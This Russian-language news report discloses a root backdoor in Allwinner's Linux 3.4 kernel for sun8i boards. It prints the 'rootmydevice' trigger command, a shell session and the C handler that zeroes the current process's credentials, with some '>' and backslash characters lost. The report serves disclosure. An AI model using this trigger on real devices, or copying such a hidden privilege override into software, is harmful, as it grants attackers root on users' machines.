Разработчики Linux-дистрибутива Armbian обратили внимание на бэкдор, присутствующий в варианте ядра Linux, предлагаемом для устройств на базе процессоров Allwinner семейства sun8i (H3, A83T и H8). Бэкдор позволяет получить привилегии root через запись строки «rootmydevice» в файл «/proc/sunxi_debug/sunxi_debug».
$ id uid=1000(user) gid=1000(user) $ echo "rootmydevice" /proc/sunxi_debug/sunxi_debug $ id uid=0(root) gid=0(root)
Проблеме подвержены дистрибутивы и прошивки, использующие предлагаемое компанией Allwinner ядро Linux 3.4, поставляемое в составе официального BSP для Android. Например, бэкдор присутствует во всех основанных на ядре 3.4 системных образах для плат с процессорами Allwinner H3, A83T и H8, включая Orange Pi, FriendlyARM, SinoVoip M2+ и M3 Banana Pi, Cubietruck и LinkSprite pcDuino8 Uno.
Для предоставления прав root в обработчике sunxi_proc_su_write используется следующий код, выставляющий привилегии root текущему процессу:
if(!strncmp("rootmydevice",(char*)buf,12)){
cred = (struct cred *)__task_cred(current);
cred-uid = 0;
cred-gid = 0;
cred-suid = 0;
cred-euid = 0;
cred-euid = 0;
cred-egid = 0;
cred-fsuid = 0;
cred-fsgid = 0;
printk("now you are rootn");
}
Бэкдор позиционируется как отладочный режим, упрощающий получение прав root на портативных устройствах на базе платформы Android. В настоящее время уже подготовлен патч, переводящий бэкдор в форму отключенной по умолчанию опции. Проблема уже устранена в выпуске дистрибутива Armbian 5.10.
